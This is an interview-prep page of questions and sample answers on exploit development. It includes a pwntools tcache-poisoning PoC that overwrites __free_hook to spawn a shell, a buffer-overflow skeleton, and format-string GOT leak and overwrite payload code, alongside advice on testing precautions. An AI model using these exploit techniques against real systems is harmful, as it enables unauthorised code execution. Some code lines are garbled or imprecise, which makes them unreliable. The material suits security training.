Custom Exploit Development and Vulnerability Research Questions

Demonstrate ability to develop custom exploits for discovered vulnerabilities, not just rely on existing public exploits. Understand vulnerability analysis process: reversing binaries, analyzing source code, understanding root cause of vulnerabilities, and developing proof-of-concept exploits. Show proficiency in scripting languages (Python, Ruby, Go) for exploit development. Discuss how you approach novel vulnerabilities that don't have public exploits available.

EasyTechnical

45 practiced

Scenario-based/ethical: when developing custom exploits during a penetration test, what safety, legal, and operational precautions do you take before executing potentially disruptive exploit code? Address environment isolation, data handling, scheduling, rollback, approvals, and communication with stakeholders.

Sample Answer

Situation overview (brief)I’m a penetration tester responsible for safely developing and executing custom exploits. Before running any potentially disruptive code I follow a formal safety, legal and operational checklist so testing stays authorized, reversible, and communicated.

Pre-approval & legal controls- Confirm written authorization: signed Rules of Engagement (scope, systems, allowed techniques, non-goals).- Verify legal contacts and escalation path; ensure non-disclosure and data handling clauses are in place.

Environment isolation & safe staging- Develop and validate exploits in isolated lab that mirrors target (VMs, containers, air-gapped where needed).- Use cloned images and test with representative data (sanitized or synthetic).- Require snapshots/checkpoints and full backups before any run.

Scheduling & coordination- Schedule tests in agreed maintenance windows; coordinate with ops and SOC to prevent false positives.- Provide pre-test notification to on-call teams and include detection signatures to avoid confusion.

Execution safeguards & rollback- Implement kill-switches, timeouts, and minimal-impact flags in exploit code.- Start with low-impact proof-of-concept, escalate only after stakeholder approval.- Keep rollback playbook ready (restore snapshots, reboot procedures, database restores) and validate restores post-test.

Data handling & evidence- Minimize sensitive data access; redact or hash any captured data.- Maintain chain-of-custody, encrypted storage for logs and artifacts, and retention limits per agreement.

Monitoring & communication- Monitor target health and telemetry in real time; pause immediately on abnormal behavior.- Provide live updates to designated stakeholders and a concise post-test report with findings, risk ratings, remediation steps, and evidence.

Lessons & documentation- Document lessons learned, update test plans and signatures for SOC, and confirm systems returned to baseline.

This approach balances effective validation of vulnerabilities with legal protection, operational safety, and clear stakeholder communication.

HardTechnical

38 practiced

Given a 64-bit Linux ELF using glibc 2.27 with tcache enabled, describe in detail how you would craft a tcache-poisoning exploit to achieve an arbitrary write and escalate that to code execution. Cover how to create fake chunks or freelist entries, manage tcache counts and double-free protections, compute target addresses, and sketch a high-level pwntools PoC outline.

Sample Answer

**Approach (high level)**- Goal: turn tcache freelist poisoning into a controlled malloc that returns a pointer we craft → use that to write to an arbitrary target (e.g., __free_hook or GOT entry) → trigger execution (free("/bin/sh") or call overwritten GOT).- Exploit primitives: heap overflow/underflow or off-by-one to overwrite a freed chunk’s fd; careful management of tcache counts (max 7) and double-free checks in glibc 2.27.

**Key ideas / steps**1. Populate tcache for a target size (e.g., 0x70) by allocating and freeing up to the count you need.2. Create a double-free-style scenario but avoid tcache’s immediate double-free detection: - Sequence: alloc A, B; free A; free B; free A — this is valid for tcache and yields freelist: A->B->A. 2.27 detects same-address next pointers on successive frees; the A->B->A pattern avoids the simplest check. - Alternatively, free A twice but ensure an intervening malloc removed the check or manipulate other bins if needed.3. Overwrite A’s fd by leveraging an overflow from a neighboring chunk or a write-what-where primitive so that fd = target_address ^ (heap_encoding) — note: 2.27 does not use pointer encoding in tcache, but ASLR/PIE/s will require runtime address leaks.4. Trigger malloc of that size: malloc will pop the poisoned fd and return a pointer equal to target (or target - metadata offset). Use that returned pointer to write the payload (e.g., pointer to system or "/bin/sh" string, or overwrite __free_hook with system).5. Final: call free on a chunk containing "/bin/sh" or call the function whose pointer you overwrote.

**Computing target addresses**- Leak libc and heap base first (infoleak via printf/GOT read or leak from heap metadata).- For __free_hook: target = libc_base + offset(__free_hook). When malloc returns a pointer P that you control, remember the returned pointer equals the chunk’s user area; align accordingly when poisoning fd (fd should point to chunk header or user area depending on size).- Always consider size-class metadata: when you force malloc to return an arbitrary address, you must ensure the address is suitably aligned and writable and that subsequent writes land at the intended offset (user-data vs header).

**Tcache counts & protections**- Tcache holds up to 7 entries per size. If you need multiple frees, ensure you don’t exceed 7 or flush by mallocs.- Double-free detection in 2.27: avoid trivially freeing the same pointer twice without intermediate list mutation. Use A,B,A trick or temporary malloc to pop a node before re-free.- If glibc enabled safe-linking (later versions), pointer xor obfuscation must be considered — 2.27 predates full safe-linking, so typically plain pointers are used.

**Sketch Pwntools PoC outline**

python

from pwn import *
elf = ELF('./vuln')
io = process('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# 1) allocate chunks
a = alloc(0x70)
b = alloc(0x70)

# 2) free to shape tcache: free a, free b, free a
free(a); free(b); free(a)

# 3) overflow from neighboring chunk to overwrite a->fd with target (libc + __free_hook)
libc_base = leak_libc()
target = libc_base + libc.sym['__free_hook']
write_overflow_to(a, p64(target))

# 4) malloc twice: first returns a, second returns pointer == target
x = alloc(0x70)
y = alloc(0x70)  # y == target

# 5) write system address into target (overwrite __free_hook)
write(y, p64(libc.sym['system'] + libc_base))

# 6) allocate chunk with "/bin/sh" and free it to trigger system("/bin/sh")
sh = alloc_string("/bin/sh\x00")
free(sh)

Notes: helper functions (alloc, free, write_overflow_to, leak_libc) depend on target binary primitives (menu, read/write). Adjust sizes, offsets and sequence to exact allocator behaviors.

**Mitigations & practical tips**- Always leak addresses first (libc and heap). Without leaks, tcache poisoning likely fails under ASLR/PIE.- Confirm tcache size-class boundaries and alignment for your chosen chunk size.- Test sequences locally with the same glibc (2.27) and replicate allocator behavior with gdb breakpoints on malloc/free.

This pattern yields an arbitrary write via tcache FD poisoning then escalates to code execution by overwriting __free_hook or a GOT entry and invoking the hooked function.

HardTechnical

49 practiced

On a target with Control-Flow Integrity (CFI) and shadow stacks enforced, discuss advanced techniques a penetration tester might use to achieve code execution. Include data-only attacks, type-confusion primitives, CFI collisions, and possible hardware-assisted bypasses. For each technique, discuss practicality, required preconditions, and trade-offs.

Sample Answer

**Overview**As a penetration tester I'd evaluate layered strategies when CFI and shadow stacks are present: focus on data-only attacks, type-confusion primitives, CFI collisions, and hardware-assisted bypasses. For each I assess practicality, required preconditions, and trade‑offs.

**1) Data-only attacks**- What: Corrupt non-control data (flags, pointers used indirectly, config) to change program logic without hijacking control flow.- Preconditions: Deep memory and application knowledge, writable data pointers reachable from attacker-controlled input.- Practicality: High in complex apps (config-driven flows); stealthy and realistic.- Trade-offs: Limited by defender checks and ASLR; often low impact unless you find privilege-escalating state.

**2) Type-confusion primitives**- What: Abuse language/runtime type mismatches to coerce objects into attacker-controlled vtables or function pointers.- Preconditions: Presence of unsafe casts, JIT/runtime with relaxations, or use-after-free patterns; ability to manipulate heap layout.- Practicality: Moderate—effective against C++/managed runtimes with known bugs.- Trade-offs: Requires precise memory engineering; shadow stack/CFI may still block indirect call targets unless you can control valid-callable shapes.

**3) CFI collisions**- What: Find gadgets whose legitimate type/class match CFI constraints (legal targets) but perform useful ops when invoked in unexpected context.- Preconditions: Coarse-grained CFI or limited type metadata; knowledge of binary internals.- Practicality: Feasible when CFI is permissive; requires gadget hunting.- Trade-offs: Time-consuming, fragile to updates; still constrained to allowed target set—may need chaining.

**4) Hardware-assisted bypasses**- What: Use speculative execution side-channels, ROP via SMAP/SMEP flaws, or abuse of features like TSX, SFI flaws, or Intel CET weaknesses.- Preconditions: Specific CPU features/microcode bugs or misconfigured kernel flags; local exploit capability sometimes required.- Practicality: Low-to-moderate; powerful but noisy and often mitigated by updates.- Trade-offs: High complexity, portability issues, potential for detection and instability.

**Recommendation**Start with data-only and type-confusion reconnaissance (lower risk, high ROI). Escalate to CFI-collisions when CFI is coarse; reserve hardware-assisted techniques for high-value targets when other vectors fail. Document reproducible PoC, required conditions, and remediation guidance (harden type checks, tighten CFI granularity, enable latest microcode/patches, integrity checks).

EasyTechnical

46 practiced

Technical task: using pwntools, sketch a minimal local exploit skeleton that launches a vulnerable ELF, attaches GDB with a breakpoint at main, sends a crafted payload to overflow a buffer, and captures the resulting register state. Include code outline and explain how you'd switch between local debugging and remote exploitation modes.

Sample Answer

**Approach (brief)**- Use pwntools to abstract local vs remote, spawn process, optionally attach GDB with a breakpoint at main, send an overflow payload, then capture registers from a corefile or via gdb when paused.

**Exploit skeleton (minimal)**

python

from pwn import *
import sys

exe = ELF('./vuln')                     # target binary
context.binary = exe
HOST, PORT = '1.2.3.4', 1337            # remote target

# mode: LOCAL (debug), REMOTE (network)
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
    p = remote(HOST, PORT)
else:
    p = process(exe.path)
    # attach gdb and break at main for local debugging
    gdb.attach(p, gdbscript='''
        break main
        continue
    ''')

# craft payload: offset + return address placeholder
offset =  cyclic_find(0x6161616b) if False else  cyclic(200)  # replace with correct offset
payload = flat([
    b'A' * 128,            # example buffer size -> adjust
    p64(0xdeadbeefdeadbeef) # overwrite return / RIP
])

p.recvuntil(b'> ')   # sync with program prompt
p.sendline(payload)

# if local and crashed, read corefile registers
if p.poll() is not None and not p.connected():
    core = p.corefile
    log.info(f"RIP: {hex(core.rip)}")
    log.info(f"RAX: {hex(core.rax)}")
else:
    # if still running or remote, try to read registers via gdb (only for local attach)
    try:
        regs = p.gdb.execute('info registers', to_string=True)
        log.info(regs)
    except Exception:
        log.info("Couldn't read registers (remote or no gdb).")

p.close()

**Explanation & notes**- Use args/CLI to switch modes: run `python exploit.py` for local debug, `python exploit.py remote` for network.- gdb.attach pauses the local process and sets breakpoints; use gdbscript to control behavior.- After crash, pwntools exposes corefile (`p.corefile`) to inspect registers (RIP, RAX, etc.).- For remote targets you cannot attach gdb; instead use remote debugging techniques (e.g., server-side gdbstub, or reproduce locally to find offsets/addresses).- Replace buffer sizes, offsets and addresses with values discovered via analysis (cyclic patterns, objdump, readelf).

MediumTechnical

36 practiced

You discover a format string vulnerability in a networked ELF service that calls printf(user_input). Describe the full exploit development steps to: (1) leak a libc address from the GOT or stack, (2) compute libc base, and (3) overwrite a GOT entry to redirect control flow. Explain format directives you'd use and how you'd handle alignment and partial writes.

Sample Answer

**Situation & goal**Describe steps to exploit printf(user_input) to (1) leak libc, (2) compute base, (3) overwrite a GOT entry to redirect control to system/one_gadget.

**1) Leak a libc address**- Use positional string deref to read an address placed on the stack: "%7$s" reads a pointer at stack index 7 as a string. - Place the target GOT address (e.g., puts@GOT) into the payload right after the format string so its pointer lands at that index.- Example payload (Python):

python

from struct import pack
fmt = b"%7$sAAAA" + pack("<Q", puts_got)
sock.send(fmt)
# recv -> leaked bytes -> unpack -> leak_addr

- Alternatively use "%7$p" / "%7$x" if pointer contains non-string bytes.

**2) Compute libc base**- Parse leaked pointer (e.g., leaked puts address). Compute libc_base = leaked_addr - offset_of_puts_in_libc.- Use local/libc or remote libc version; verify with multiple leaks if needed.

**3) Overwrite a GOT entry**- Use %n-family directives to write arbitrary value into target GOT. Prefer partial writes with %hn (16-bit) or %hhn (8-bit) to avoid large counts.- Strategy: - Place the GOT address (target to overwrite) entries on stack multiple times in correct order. - Sort writes from low to high addresses to avoid clobbering. - Control printed character count using padding: "%<N>c%7$hn" writes N to the 2-byte target at stack index 7. - Account for already-printed bytes: track cumulative count and use modulo 0x10000 for %hn.- Example two-stage (write 0xdeadbeef to GOT): - Write lower 2 bytes (0xbeef) to addr - Write upper 2 bytes (0xdead) to addr+2- Example builder sketch:

python

def make_write(target_addr, value, idx_low, idx_high, printed=0):
    low = value & 0xffff
    high = (value >> 16) & 0xffff
    if low > printed:
        p1 = f"%{low-printed}c%{idx_low}$hn"
    else:
        p1 = f"%{(low-printed+0x10000)}c%{idx_low}$hn"
    printed = low
    if high > printed:
        p2 = f"%{high-printed}c%{idx_high}$hn"
    else:
        p2 = f"%{(high-printed+0x10000)}c%{idx_high}$hn"
    return p1 + p2

**Alignment, endianness & pitfalls**- Pack addresses in little-endian for x86/x86_64. Ensure each placed address aligns to pointer-size so positional index is stable.- Use padding (e.g., "AAAA") to align stack entries.- Beware of integer wrap-around with %hn and already-printed bytes; always compute cumulative prints and use modulo arithmetic.- Test locally with same binary/libc, iterate to adjust positional indices.

**Final notes**- Use %hhn for exact 1-byte writes where ASLR or partial overwrites required.- Validate by leaking after overwrite or triggering the replaced function (e.g., call puts -> system). Document offsets and exploit reliability; avoid destructive testing on production.

Unlock Full Question Bank

Get access to hundreds of Custom Exploit Development and Vulnerability Research interview questions and detailed answers.

Join thousands of developers preparing for their dream job.